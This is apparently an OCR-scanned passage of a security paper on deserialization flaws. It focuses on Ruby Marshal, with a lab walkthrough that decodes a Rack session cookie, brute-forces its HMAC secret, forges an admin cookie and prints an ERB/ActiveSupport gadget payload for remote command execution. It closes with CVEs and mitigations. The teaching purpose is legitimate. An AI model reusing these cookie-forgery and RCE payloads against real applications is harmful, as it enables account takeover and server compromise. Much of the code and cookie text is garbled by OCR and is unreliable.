https://www.cvedetails.com/cve/CVE-2016-4010/
2- Joomla 2.5.0 — 3.0.2 (CVE-2013-1453)
https://www.cvedetails.com/cve/CVE-2013-1453/
3- vBulletin 5.x(CVE-2015-7808)
https://www.cvedetails.com/cve/CVE-2015-7808/
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Mitigation:

Using safe standard data interchange format like json wvia json
encode(),json_decode() if you need pass serialized data to user ,but if you need to
use unserialize you must use hash hmac to add validation by making sure data is

not editable by anyone.

40| Page



Serialization in Ruby
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Deserialization vulnerability in Ruby:

Ruby is a dynamic, open source programming language and it also supports OOP
concept that supports build big application by dividing it into manageable classes
each one for specified purpose and for this reason ruby uses development web
application by combining it with rails and it is used by some companies taking
some examples like github, twitter, etc..., also ruby supports serialization and it has
its own methods to implement, however it suffers from deserialization

vulnerability like Java,Python,PHP.Also rails support serialization.

First before diving into deserialization vulnerability, first we will explore methods

use to implement it and when you can find it in application.

Ruby has two methods to implement serialization called marshal library first

method is dump. that converts object into bytes streams.
Second method is load to convert bytes stream to object again.

We shall take a small example and implement both methods.

C:\Users\hpirb
irb(nain):001:0) x=0"Ruby" (" intx@x80"=)"0x80"}]
S Ry, (b= b

irb(main‘:@@m) ser=Narshal, dusp()

2) "\wPNbL\al\"\Ruby \WwO6: \rencoding\"\wIBHA3T{\xDBIN"\rint x@xB0\06: \x0ONaT \"\t Ox B0\ 06; \x0B\a"
irb(nain):003:0) Marshal, load(ser)

=) ["Ruby", {"intxOx80"=)"0x80"}]
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In The above example we serialized x object using dump and saved serialized data
inside variable “ser” and passed to load to deserialize it and convert it to first

format.

Can you imagine with this mechanism we can get privilege escalation or RCE this
time we take how we can get privilege escalation, first let us to know where we can
find serialized data, serialize could be found in sessions client-side within a cookie
it’s common situation but it’s not easy as you can imagine to edit it, sessions

encodes it and adds another protection (HMACED) in order to be tamper-resistant.

Ruby is TLV serialization format that can encode almost any of their arbitrary
objects and HMACED it uses secret key which could be stored in various locations
depending on application and version of application which could be found in

following files.

config/environment.rb

config/initializers/secret_token.rb

config/secrets.ymi

/proc/self/environ

If you can’t get a source code you can brute force secret key in the next section we

try to understand how to brute force and sign session to get privilege escalation.
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Detect and exploit vulnerability:

We take small applications to explain the concept and detect vulnerability.

DNS Manager Login:

Usermame:

Password:

Cancel

After login with credential test and user and password we get session
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s} Cancel < T > T

Request

J Ry T Params THeaders T Hex ]

GET » HTTP,s1.1

Host: 192_1£8.207.140

Uzer—-Agent: Mozilla/5.0 (Windows NT £.1; rv:E5.0) Geckos20100101 Firefox/55.0

Accept: text/htwml,application/xhtmltxzml  application/xwml;q=0.5 */*;q=0_8

Accept-Language: en-US en;g=0_5

Accept-Encoding: gszip, deflate

Feferer: http: /192 168_.207_.140/1login

Coockie:

rack.session=BARTEORiD 2Nl ZNphl s faWl GO gZFRAJFT 20 M =NDE 10D UxIT k=0 Tk ZNehi s 0AM ) diTnEST Znlizs

ETnIOMIE4ZDdiNT IhYsA4MeMESED VI ZDhINJdlY TFRMER i DACK Ve ZKIGOwEChao IV ITlegsEGEE foCUVyel ledCTay W
fo3PhdEUvl] TEYEht 0ATWFwe GV Jp 82 vd-I JETofUGVy o 2 ledGTu Yy ZVTAGFOEZToE I 2x 1Y W4HO gs A DAcnVeh 3Ty

ToVACToLOGlvEGVsTwlV e 2Ty g A GSnaWs I IglOZFITOE  sATD oL OAQGFELWIuER j o 0iHEhe SN3h 3T S3I 1MDIE4E) 24
SOOI IxEDMEMCNhEGTOETg= % OAM Vw2 I0Z VG OwET O ghA aWkpE=c ROFSvENBrve 2100 2T Sheob RGFOVIT 1 heHE1$ OA

JoeTnVwh 3T dESyvelgECkBuY W1l dgxk ZEWEhdWx 0 ChTAaWR1bnEpdH]l fhWFwi 0Ac 2 sGlACDOhx EV RN TWFwe GV I3 J 2
GTudzl0eTlheHsGWwERpEOATOglATWERS OAcHEL cnB EKERWAGFT - BwEK IGO0 E FETHEBOZHIz0 Jp TeWxp AGVEZGFwdGWyD
TsR%0A0xIEDUBvecHEph 2 5=lsoVREGFOYUlheHEl e joeTWEFsaHs0 88 ILoe 2o ZW1 1EjsAS ARk I C3NxbGl0ZE0Y TAEEI Iy
11V vEsARIEI Iglw i dlsdl Sy ZAY TARTwES LI 0AaC S sdAT TAEEI IgAGOWEBGES I Jo G yvdAY TAETwE S IK oMVl enk GOw

EGMERiDWIvE 0ATWAE ZWS 0B sAR BT IgxhESFwdGUvwE  sARrkiDHTxbh Gl 0EZTHGOWwEGS S I JoGFOs 0AaATY TAEZ T Thiwd Gl

wWwLIRueyw Sk Yy ¥ TAEYE I EBwEMIwd I ZVSuTWlpbond £ 2 Sut DA dnTudGlvhbnl GRGFOTUlheHEl oo TuFe aWSnd 25 udn

WAGlvhbnMel lJleZS 1% 0AcnITl 0 pVhnEl enlli b 2T lLZEFUZFEs Ihb Gl EWI e HUEnaW Vs ZFSuTWiphnd £5 OATZ Sudnima
AGlvhbunOZRCFO0T U lheHElej o TonFtaWbnQZ SudnVudClvhbnle 0k Zpt DAZWxk 0 JpVhnPElenlljL 2 J1EDo UG EvenlhbGle
EVEEdIphsoVEGFOYUSianVi% DAdHME D 1LVES 08D EESY ChlhWVAH)j o P OHN 1T NIl aGUL ZTAECKE L o SV MD sITMD oF % OAQ
Ghvoe2PAGCToEHEvenQwlgpAc GF0aEAgdgrAcK Nl ecnl D O0xh TDEATEVAFJEAY OAFSEAGEARQEowEswlBww(E1AHIcA £
CAEDKEmcmn FnbiWmimudDAESDEEyEWxhdAdGl 23 0AZTASFEE=cWxp dGW £ dnTy e Zlvkhkk i 0 Mullyv4 =B s AVD o JHIN1 cHEvenB=k
Ry 0ALIEBLAGFik GV EaWZ £ 2o 3ReVh oVIHITL cHEven B3l len I hb FOs 3D 0A——-T7590 7747 5ecldlh 1 72he583552a
S48 f5&8de fTaade

Connection: close

UTpgrade-Insecure—Regquests: 1

You can figure out the cookie name is rack.session it’s a library responsible for
cookie management after reviewing source code it can be found and it passes
cookies to load method in order to deserialize it , but there are problems, in which
serialized cookie was HMACED with secret key in order to prevent it from
tampering and add it to cookie and separate it from cookie using “ - -* and encode
it with base64 and urlecode to prevent any issue with HTTP , when pass it to be
deserialized but first of all extract cookie and signature and decode cookies
using urldecode and base64 decode and calculate the HMAC and then compare it
with HAMC value which has cookie after “- - it matches and will pass cookie to

load method in order to be deserialised if it does not match , it will redirect you to

login page.
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In order to decode cookies we will need to implement these steps that will be

explained clearly in below code.

"basetd”
"net/http"
"data mapper"
“pp”
"openssl”

User

1
2
E]
4
5
3]
7
2

PDataMapper.setup( :default, ‘sqlite3::memory’')

s="BAh7BOkiD3N1c 3Npb2 5faWQGOgZ FRiJFN jc @YTISN2Y10GY30GIhODk5MzA2%0AYmRjN2 UANDN IMDF iM JY IMGFJZT1j OWM2ZGTy Hmh JMTHkMmM1NZB ji
13 ¢,sig=s.split("--")

decode=Raset4 .decoded{ /RT.decode(c) )

5 ob=fMarshal . load(decode)
pp ob

Before final code you can face some problems like:

lecode.rb:16:in "load': undefined class/module User (ArgumentError)

from decode.rb:16:in “<main>"

This error tells us you can’t load undefined class named User, the first information

about serialized data includes class named User.

lecode.rb:16:in "load': undefined class/module DataMapper:: (ArgumentError)

from decode.rb:16:in “~<maini"

After class user is added, it tries to deserialize it once more however when we face
this error it’s tell us that serialized data uses DataMapper class after adds it we get

another error.

lecode.rb:16:in "load': undefined class/module DataMapper::Adapters::SqliteAdapter (ArgumentError)

from decode.rb:16:in "<main>’

This time this error can tell use the serialized data it’s has database sqlite to solve
this problem we create database DataMapper.setup(:default,'sglite3::memory"),after

add it and run script again we get the following output.
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{"session id"=>
"6bdh01d5575e120eca87dB8affieTadedf?1581ddd3639240a12a7d0510d2b04L7T ™,
Tuser "=>

#<User:0x8ad8bl4
d persistence state=
ft<Dat aMapper: : Resource: :Persistenceltate: :Clean: 0xBadBacd

Emodel=User,

Bresource=#<User: 0xfadibld ...>>,
# repository=#<DataMapper: :Repository @name=default>,
Hadmin=false,
did=2,
Hlogin="test,
Hpassword="098fobcdd621d373cadedeB32627h4f6 )

Serialized data include session id , login name test you can figure out admin=false
attribute in order to escalate our privilege we must change it to True, but can we
edit without resign cookie with secret key in order to detect secret key use it can be

found in location that we listed in the previous section or you can brute force it.

To brute force it first understand how sign could be implemented and how to build

brute force tool to find secret key.

In order to answer the question of how sign could be implemented first you need to

read rack library source code which could be found in project repository or in file
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After review source code we find generate _hmac method use to sign cookie

generate_hmac(data, secret)
OpenSSL: tHYAC .hexdigest(OpenSSL: :Digest::SHAL.new, secret, data)

Sign cookie combine (data,hmac) where hmac=hmac-shal(secret,data) in order to

brute force it we have hmac for cookie and equation will be.

Hmac-shal(secret,data)=hmac we will brute force secret and compare the result

to hmac if matched will display secret key use to sign cookie.

D:=~brutesigrpython brutekey.py

s ~
2555558
i8dsss588,
3555556,

N ~
$$$$$ s, /$$$$$$$/ /$$$$$$

! it $$$$$$$$/

5555555/ 5555555/

AP N
EL Rttt ST th )
AP
AP A A A N

BT
o
AN

vy ~
s5E5555 15555655, /$$$$$$ /$$$$$$
~ & 155 1 &% s '
155555555, gg N ss E $EEEE859/
SEFEFEE FEEESES $$/' 3558558

AP A

o
N

A Al
Lty L L SO DY 2T T A
N A AL

Ll
L
Ll
Ll

[ PintxBx88 1
-hbrutekey.py —c BAh7BAkiD3Nlc INph25f allQGOgZFRiIJFNjY=Y jO1YTGxZDk1ZGZiMTBiZTALx —f UDld txt

= Bh
-brutekey.py ——cookie BAhTBAkiD3N1c3INpbh25falQGOgZFRiJFNIY=Y j01YTOxZDk1ZGZiMTRiZTAL B —fFile word-txt

heutesigipython beutekey.py -c BAR7BAKiDINLcINph25E alQGOgZFR1JEMDHAZ ZkY j15ZDKINT OAZ JE1ZTc 2 AAMDMBZGFKEnY yZ 1B jNak2N F1Y JE2NZExNUNhY zgROUN2YNT 4Y jFnizM2NEk 00
CRUzZ8 1 GOwBGhzoJUAN1cys 6GERF ol ye 2 12dCUuY20F ¢ 3RhdGUwO jUEYR R BATHPuc Gl yO jpSZéNud8J jZTobl G ye2 L2dGUuY 2UTdGRAZT 06023 1YH4H 0g5 A BAcl zh3VyY 2UACToLAG1vZGU sYu1lc2Uyly
tAhGEnalisJ 19 1AZXNAB jsAU DoLAAQGEkbH1uR joOQHBhc 3N3h3JkSS I IMDRAZZ1Y 200N 1} ZDHIN2NNEC AZT yz:BAN 1 yN21 B GOwBUOghAalRpBzo ROF?yZK Buc2 1Ah3 J5hzobRGFAY UL heHBL:BAc jobl
mlub3Npd G9yab CkBuYiH 10gxkZUZhdixBORNARURhnRpdH 1 hilPy:8Ac35GQA £ DOhxEYXRRIWFuc G u0  pJZGUudG1@el1 heHs GHuZpBAR J0g1 AYURR: BAHR1cnd B KERhGENY R BuZR 1 60K kYR BAZ J=0p
TellpdGUBZGFudGU yDTsRBA0xT 6DUBvcHRph2 52020 URGFAYU1 heHB1e joh THF2aHs 085 1Le2NoZh 1B s ABARKkICINxhG1AZQY PAEZI [y 1 c2UyBsAR BIT g1u Y iNzd29 yZAY PAEYUS ST J2BRaCIzdnY 7R E)
Zd1gAGOWBGEST JeCPydAY PAEYSS K kU LenkGOwBGHER iDUZyxBA YAt ZW5 0B jsAR 1B L gxhZGPudCUyB js ARkk iDHNxhGLAZI NCOUBGS S [ JoGFAx BAanY PAEZS hAvd CLuL2Ruc yo k¥ PAEYG I EByZRNudid j
20901 phndf Y29 BAdnUudGluhnl GRGFAYUL heHB1c job TnPt allinQ29udmlud GluhnM601d 1c2 31 %BAcnN10 jpUbmR1cnN h3J 1ZEFuZFBsdX JhbG16ZHAGHU BnalllsZFFu i phndf #BAY2 udnludGLyhnf
2RGEBYU1 heHB1c jobTnPtallbnQ29udnludGlebnM60kEp:@AZHxkD jpUhnR1enN h3J1ZDolQG5ven] khG10ZHRE di dyhzoURGFAYU? 1an j BAdHME01UE 5086 DERZY2h 1hUUAH joPGHNL YnMjaGUtZTAGCKBL ¢
2UyMDshMDokBAQGhy e IRAGToHQH Bucn Qu0gpAcGRAaEAgOgtACKY 1en 1D0xhTDkkiCINjalUtBAZQY MEZARU kiCKUzZR 1 GOWBGHE DK Bhc 3N3h3JKB jsARjBI 19 1ah3NAR jsABARKAZSS [ Jc GRydAY TAEY
55 [KcKU IenkGOuBGHEK 1DUZ yYudt ZSAB jsAR 1 BAA TgxhZGRudGU vB jeARkAeSS 1 JcGFAAY PAEZA 1Do0GGZyYUAt 25 BHDaOGH I 11 PAKGFAaX Z1HDolGHM:hG1AZUI2ZX Iz aliFud S TRMy43L jHGOWBUOiNAC 3
g¥cG?yzHHdHNFZHJUEF?B?NJSEU9le91&GldeNU0hUﬂc3UwcG?deNfcZUyaNFsUHzﬂDz3DzBﬂ-—?a59ad6hf289fc9535hd6a32fdffed83f9124af2 -f vord. txt

pase Wit ...

Found Secret Key [secret]
now we have secret key we can sign any data and send to application in order to

escalate our privilege when we need to change admin property from false to true.
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"base6d"
"net/http"
"data_mapper"

"pp"
"openssl”

User
radmin

Datatapper.setup(:default, 'sqlite3::memory’)

s="BAh7B@kiD3N1c 3Npb25f aWQG0gZ FR1JFN jc@YTI SN2V10GY 30GIhODk 5Mz A28 AYMR N2 UANDN IMDF iM Y IMGF JZT1 JOWM2 ZGTy NmM JMTH kMmM1NZB i
c,sig=s.split("--")

decode=Baset4. decodetd{ URI . decode(c )j

ob=parshal .load(decode)

ob[ ‘user’ ].admin=true

newcooike=Fase64. encode6d(Marshal .dump(ob))

newsession=0penSst : tHYAC .hexdigest(OpensSSt @ :Rigest: :SHAT .new, “"secret"”, newcooike)

payload=URT. encode{newcooike) . gsub("=", "%3D") + "--" + newsession
puts payload

We define class User and made admin property accessible and deserialize object
and edit property to deserialize object admin property and encode it them sign it

using secret key, now we it can b submited we now have administrator privilege.

P
(&= ) (i) 192.168.207.140 C seard
G h B ¥ @

DNS manager Homepage HMewrecord Logout

Name IP address TIL Action

webmail 192.168.3.10 500 [edit|delete)
irdranet 19218833 500 fedit|delete)
firewall 19218831 600 [edit|delate)

We see how to escalate privilege using deserialization vulnerability now we go to
explain how to get RCE same steps above but differently will be a raise in payload
that used.

The following ruby code will execute command on server.
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Code=""id"”
"\X04\X08" +"0" +

":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +"\x07" +

"\XOE@instance" +
"0" + ":\xO8ERB" + "\x06" +
"\x09@src" +
Marshal.dump(code)[2..-1] +

"\X0C@method" + ":\x0OBresult"

Above serialized object is instance of

DeprecatedinstanceVariableProxy
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classDeprecatedInstanceVariableProxy<DeprecationProxy
def initialize(instance, method, var = "@#{method}",
deprecator = ActiveSupport::Deprecation.instance)

@instance = instance

@method = method

@var = var

@deprecator = deprecator
end
private
def target

@instance. __send _ (@method)

end

def warn(callstack, called, args)

@deprecator.warn(
"#{@var} is deprecated! Call #{@method}.#{called} instead of " +
"#{@var}.#{called}. Args: #{args.inspect}", callstack)

end

end
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Deprecated Instance Variable Proxy class inherits from Deprecation Proxy which

define method_messing

defmethod_missing(called, *args, &block)
warn caller, called, args
target. send _ (called, *args, &block)

end

In Deprecated Instance VariableProxy an ERB object placed like instance and
method set to result, the src variable of this ERB object it’s controllable after
deserialization method_missing will be called when a method on the object is
called which doesn’t exist ,any method in deserialization object is called will
passed to method missing all instance have been undefined , method missing first
we will call warn and after that call target which it will be sent the method result
to ERB object ,the result will be interpreted and code attached in ERB object as

SrcC.
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CVE:

1- IBM Tivoli Endpoint Manager Mobile Device Management(CVE-2014-
6140)
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6140

2- RubyGems v 2.0.0 — 2.6.13(CVE-2017-0903)
https://www.cvedetails.com/cve/CVE-2017-0903/

3- GitHub Enterprise
https://packetstormsecurity.com/files/141826/Github-Enterprise-Default-

Session-Secret-And-Deserialization.html

Tools:
Metasploit Framework has module to exploit ruby deserialization vulnerability

exploits/multi/http/rails_secret_deserialization

Mitigation:

Use strong random secret key that cannot easily brute force it, but it uses json for

serialization, since rails 4.1 use json for serialization.
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PHP:
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Conclusion:

In the end, we explored various implementations for serialization and
deserialization vulnerabilities. Good news for developers is that most of these
vulnerabilities are fixed and others are partially fixed by adding layers of

protection using signatures to prevent packets from tampering.

Developers must keep some basic security awareness and stay away from
vulnerable methods when dealing with serialization if it must be used these

vulnerable methods must be add some layer of protection as mentioned above.

Some for library and frameworks has good guide to implement secure

application you can take it as roadmap to build secure application.
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Contact Information

LinkedIn: Contact me on LinkedIn here
Twitter: Contact me on Twitter here

Github: Here
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